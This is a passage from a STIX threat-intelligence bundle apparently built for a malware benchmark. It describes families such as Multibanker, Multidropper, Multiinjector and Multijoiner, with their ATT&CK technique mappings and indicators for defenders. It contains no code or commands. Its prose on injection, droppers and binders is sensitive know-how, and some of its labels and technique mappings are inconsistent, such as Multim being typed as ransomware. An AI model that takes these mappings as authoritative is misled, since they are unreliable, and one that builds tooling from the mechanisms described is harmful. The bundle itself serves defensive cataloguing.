API calls related to network traffic (like `HttpSendRequest`). When the user navigates to a targeted bank, Multibanker uses 'Web Injects' (`T1185`) to alter the HTML of the webpage in real-time, inserting extra fields asking for credit card numbers, ATM PINs, or OTPs, which are immediately exfiltrated to the attacker (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is direct financial fraud and total credential compromise. Host-based IoCs include EDR alerts for process injection (specifically into browser processes), unexpected network connections from legitimate browsers to unknown IP addresses (the C2 server fetching the inject configurations), and the presence of hidden, encrypted configuration files in `%AppData%`. Network IoCs involve the browser making encrypted POST requests to the C2 server containing the stolen credentials. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multibanker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multibanker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0edb27f7-20f2-5e45-8fd1-46b51ef25987",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c81023-6396-5a5e-86f3-efb1a460b46d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibanker exhibits technique T1185 (Browser Session Hijacking (Using web injects to modify banking portals and steal credentials))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b296dc61-b088-5f88-b38c-dec01adbb3f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c81023-6396-5a5e-86f3-efb1a460b46d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibanker exhibits technique T1055 (Process Injection (Injecting into web browsers to monitor traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56a64a15-d522-561b-a2f0-b5b04f0f4493",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c81023-6396-5a5e-86f3-efb1a460b46d",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibanker exhibits technique T1041 (Exfiltration Over C2 Channel (Sending stolen credentials and OTPs to the attacker))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5cc6581-c981-5d76-860b-32c7f11e1c14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multibar",
      "description": "Adware:Win32/Multibar (often detected as PUA:Win32/Multibar) is a deceptive application that functions primarily as an aggressive browser hijacker and adware injection platform. Historically distributed as a 'useful' browser toolbar, its actual purpose is to silently modify browser settings, redirect web searches to affiliate-controlled sites, and inject highly intrusive, unverified advertisements into the user's browsing experience to generate fraudulent ad revenue.<br><br><b>Understanding Adware and Browser Hijackers</b><br>To an end-user, Multibar manifests as severe browser degradation: extreme slowness, new toolbars cluttering the UI, and search results being overwhelmingly replaced by sponsored links. For a network administrator, Multibar presents a security risk because the injected advertisements are completely unvetted and often link directly to malicious exploit kits or tech support scams. Furthermore, it aggressively tracks user browsing habits.<br><br><b>Execution and Hijacking Mechanics</b><br>Multibar is almost exclusively distributed via deceptive software bundling (`T1189`), secretly attached to the installers of legitimate freeware downloaded from untrusted sources. During installation (`T1204.002`), it installs itself as a deep-rooted Browser Helper Object (BHO) in Internet Explorer or as a malicious extension in Chrome/Edge (`T1176`). It modifies the browser's default search engine and homepage (`T1562.001`) to point to its own monetization portals. It establishes persistence via the Windows Registry (`T1547.001`), ensuring it reinstalls itself if the user attempts to simply delete the browser extension.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is privacy violation (browser tracking) and severe disruption of the user's workflow. IoCs include EDR alerts for known adware DLLs loading into browser processes (`chrome.exe`, `iexplore.exe`). The user will report unauthorized toolbars and their search engine being locked to an unknown provider. Network logs will show excessive traffic to known adware tracking domains and affiliate marketing networks. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multibar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multibar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f836720b-bad2-5bde-903c-50d3221dd98d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5cc6581-c981-5d76-860b-32c7f11e1c14",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibar exhibits technique T1176 (Browser Extensions (Installing malicious BHOs/Add-ons))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d492b590-3255-56c3-809e-80a324f00d27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5cc6581-c981-5d76-860b-32c7f11e1c14",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibar exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Hijacking search/homepage settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--643e447e-eeaa-52eb-bf47-a58d7a0201d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5cc6581-c981-5d76-860b-32c7f11e1c14",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibar exhibits technique T1189 (Drive-by Compromise (Software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b00a22c8-e639-56d4-9a6e-6cf9160f6a9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5cc6581-c981-5d76-860b-32c7f11e1c14",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multibar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0b9bad02-2ca9-517c-9056-4e8e92dbfd9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multidl",
      "description": "TrojanDownloader:Win32/Multidl is a generic heuristic detection used by antivirus engines to identify malicious stagers whose primary function is to establish a connection to a remote server and download *multiple* secondary payloads simultaneously or sequentially. It is a fundamental component of complex, multi-stage malware infections.<br><br><b>Understanding Multidl Heuristics</b><br>To an end-user, a Multidl execution is usually invisible. For a security analyst, a Multidl alert indicates a severe, cascading infection event. Threat actors use Multidl stagers when they want to deploy an entire toolkit at once\u2014for example, dropping a backdoor for persistence, a keylogger for credential theft, and a cryptominer for immediate monetization, all from a single initial infection vector.<br><br><b>Execution and Staging Mechanics</b><br>Multidl threats are typically distributed as malicious macros embedded in Office documents (`T1566.001`), or as scripts hidden inside ZIP archives. When executed, the stager utilizes native OS utilities (like PowerShell or `wscript.exe`) to quietly reach out to a Command-and-Control server or compromised web host (`T1105`). Unlike a simple downloader, Multidl will iterate through a list of URLs or fetch a configuration file containing multiple download links. It downloads several distinct payloads (often saving them to `%Temp%`) and executes them in rapid succession (`T1204.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme, as the machine is hit with multiple, distinct malware families simultaneously. Incident responders should focus on EDR logs showing a native scripting engine making multiple, rapid outbound HTTP requests, immediately followed by the creation and execution of several different binary files in a temporary directory. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multidl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multidl"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--313a745c-ce65-5745-a116-3d922098abff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9bad02-2ca9-517c-9056-4e8e92dbfd9b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidl exhibits technique T1105 (Ingress Tool Transfer (Downloading multiple payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83d12246-1f52-5e90-b58d-fc507549f2b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9bad02-2ca9-517c-9056-4e8e92dbfd9b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidl exhibits technique T1059 (Command and Scripting Interpreter (Executing the stager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da05d48d-b1c8-5f1f-8fba-53a6df18136f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9bad02-2ca9-517c-9056-4e8e92dbfd9b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidl exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20363fa5-7b2d-52b0-bede-fc597ef2c200",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9bad02-2ca9-517c-9056-4e8e92dbfd9b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidl exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37fddc34-28ae-56c9-a8f8-04c49e6b5ce9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multidropper",
      "description": "MultiDropper (tracked across industry threat intelligence platforms as TrojanDropper:Win32/MultiDropper, Dropper.Win32.Multi, and Trojan.MultiDropper) is an intricate multi-stage dropper and malware bundling framework designed to deliver multiple distinct threat components in a single intrusion. Unlike simple loaders that fetch payloads over the network, MultiDropper embeds multiple encrypted binaries directly inside its Portable Executable (PE) resource sections (.rsrc) or overlays. Upon execution on the victim host, MultiDropper executes dynamic unpacking routines, verifies administrator privileges, and sequentially drops specialized tools: a kernel rootkit to disable endpoint protection, a credential stealer to extract browser passwords, an HTTP/SOCKS proxy module for external traffic routing, and a persistent backdoor for interactive access. It writes these files into `%SystemRoot%\\System32`, `%TEMP%`, or `%ProgramData%`, modifies discretionary access control lists (DACLs) to hinder deletion, and installs corresponding autostart service entries before terminating its own dropper stub. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDropper:Win32/MultiDropper",
        "Dropper.Win32.Multi",
        "Win32/MultiDropper",
        "MultiDropper Framework",
        "Trojan.MultiDropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multidropper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multidropper"
        }
      ],
      "labels": [
        "trojan_dropper",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b791c8a4-d75f-5a43-9c2a-95d053c626c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fddc34-28ae-56c9-a8f8-04c49e6b5ce9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidropper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87b08e98-955a-5ecc-a741-1b2c05941c21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fddc34-28ae-56c9-a8f8-04c49e6b5ce9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidropper exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cabdf246-55c1-54af-a40e-f0c975eae57f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fddc34-28ae-56c9-a8f8-04c49e6b5ce9",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidropper exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--039d451d-1aa5-58bb-9db3-6439a758b8cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fddc34-28ae-56c9-a8f8-04c49e6b5ce9",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidropper exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd333112-e63b-58d9-beac-4dfc2522479c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fddc34-28ae-56c9-a8f8-04c49e6b5ce9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multidropper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f743b6f-cb97-5e8d-a45e-d43342180807",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multiinjector",
      "description": "HackTool:Win32/Multiinjector (or Trojan:Win32/Multiinjector) describes a specialized utility or a component of a larger malware framework whose primary, explicit purpose is to perform Process Injection (`T1055`). It is designed to take malicious shellcode or a DLL and forcefully insert it into the memory space of a legitimate, running Windows process (like `explorer.exe`, `svchost.exe`, or a browser) to evade detection and bypass firewall rules.<br><br><b>Understanding Multiinjector (Injection Frameworks)</b><br>To an end-user, the infection is completely invisible. For a security analyst, the presence of a 'Multiinjector' tool indicates a sophisticated adversary attempting to establish a stealthy foothold. Because the malicious code runs *inside* a trusted process, it inherits the permissions and network access rights of that process, blinding many legacy security tools.<br><br><b>Execution and Injection Mechanics</b><br>Multiinjector tools utilize various Windows API techniques to accomplish their goal (`T1055`). Common methods include DLL Injection (using `CreateRemoteThread` and `LoadLibrary`), Process Hollowing (creating a suspended legitimate process, carving out its memory, and replacing it with the payload), or AtomBombing. By injecting into a browser process (`chrome.exe`), the malware can make outbound C2 connections that appear perfectly legitimate to network firewalls (`T1562.004`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is stealthy execution of secondary payloads (like RATs or credential stealers). Host-based IoCs are difficult to detect without EDR. Look for anomalous API calls (e.g., a process unexpectedly calling `VirtualAllocEx` or `WriteProcessMemory` on another process). Network IoCs involve legitimate processes (like `notepad.exe` or `svchost.exe`) making unexpected, persistent outbound connections to unknown IP addresses on non-standard ports. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multiinjector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multiinjector"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff011baa-71e6-5341-beaf-741c5867dfea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f743b6f-cb97-5e8d-a45e-d43342180807",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiinjector exhibits technique T1055 (Process Injection (The core functionality of the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a932e2a-83f7-52b1-b131-6c968136bbc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f743b6f-cb97-5e8d-a45e-d43342180807",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiinjector exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (A common technique used by these tools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b32c02f-67a0-5ed5-b923-1d12fe5580db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f743b6f-cb97-5e8d-a45e-d43342180807",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiinjector exhibits technique T1055.012 (Process Injection: Process Hollowing (Replacing legitimate code with malicious payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f2ad0cf-b0bb-5234-a0dc-b30c79d25c1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multijoiner",
      "description": "<h3>Executive Summary</h3>\nMultiJoiner is a specialized \"HackTool\" and utility program designed specifically for malicious file bundling. Also known as a \"binder\" or \"joiner,\" it allows threat actors to take a malicious executable (like a Trojan or RAT) and silently fuse it with a legitimate, benign file (such as a PDF, a JPG image, or a software installer). When the victim opens the seemingly safe file, the malicious payload is executed invisibly in the background.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMultiJoiner itself is the tool used to *create* the infection vector. Files bound by MultiJoiner are typically distributed via targeted spear-phishing (e.g., an email with an \"Invoice.pdf.exe\" disguised using right-to-left override characters) or shared on peer-to-peer networks masquerading as cracked software.\n\nUpon execution of the \"joined\" file, the following sequence occurs:\n<ul>\n<li><strong>Silent Extraction:</strong> The hidden stub code generated by MultiJoiner extracts both the legitimate file and the malicious payload to a temporary directory (e.g., `%TEMP%` or `%APPDATA%`).</li>\n<li><strong>Simultaneous Execution:</strong> The utility executes the legitimate file (e.g., opening the PDF in Adobe Reader) so the user suspects nothing, while simultaneously executing the malware in the background.</li>\n<li><strong>Icon and Extension Spoofing:</strong> MultiJoiner allows the attacker to steal the icon of the legitimate file (e.g., applying a PDF icon to the final `.exe`) to further deceive the victim into clicking the executable.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a tool like MultiJoiner on a corporate network is a severe indicator of internal malicious activity, strongly suggesting a compromised developer workstation or an active insider threat attempting to weaponize payloads for internal deployment. If a file *created* by MultiJoiner is detected, it signifies a highly deceptive social engineering attack has bypassed initial perimeter filters.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Investigate the Source:</strong> If the MultiJoiner application itself is found, immediately isolate the machine and investigate the user's activities. Determine what files were bound and where they were distributed.</li>\n<li><strong>Forensic Unbundling:</strong> If a joined file is detected, do not execute it. Security analysts must extract the malicious payload from the binder to analyze its true intent (e.g., identifying C2 servers or payload types).</li>\n<li><strong>User Awareness Training:</strong> The effectiveness of bound files relies entirely on users double-clicking executables disguised as documents. Reinforce training regarding hidden file extensions and suspicious attachments.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.MultiJoiner",
        "Binder.MultiJoiner",
        "Win32/Joiner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multijoiner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multijoiner"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f522bd72-96c7-5d50-a931-10e99acffa8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f2ad0cf-b0bb-5234-a0dc-b30c79d25c1c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multijoiner exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d63f5ec-5574-55df-a0b4-23934a5212d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f2ad0cf-b0bb-5234-a0dc-b30c79d25c1c",
      "target_ref": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multijoiner exhibits technique T1036.004 (Masquerading: Masquerade Task or Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e30f62bd-ae85-5626-99b9-107ec7653045",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f2ad0cf-b0bb-5234-a0dc-b30c79d25c1c",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multijoiner exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--367580b4-e6fe-56ee-87ab-65b870bae1f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multim",
      "description": "Trojan:Win32/Multim is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Multim</b><br>To an end-user, a Multim infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Multim is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Multim is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Multim frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Multim reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multim"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7abef7e-8dec-57c1-829d-f83ff342f346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--367580b4-e6fe-56ee-87ab-65b870bae1f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multim exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--801ebf1a-7e7d-574f-872e-57d99926198c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--367580b4-e6fe-56ee-87ab-65b870bae1f3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multim exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f11618c-fd28-517c-a260-11fa24679b46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--367580b4-e6fe-56ee-87ab-65b870bae1f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multim exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a535393-4377-56dc-8eb6-003276cba4cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--367580b4-e6fe-56ee-87ab-65b870bae1f3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multim exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab7b500c-fb2d-5a5f-89c3-f1d66dc84b7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--367580b4-e6fe-56ee-87ab-65b870bae1f3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multim exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
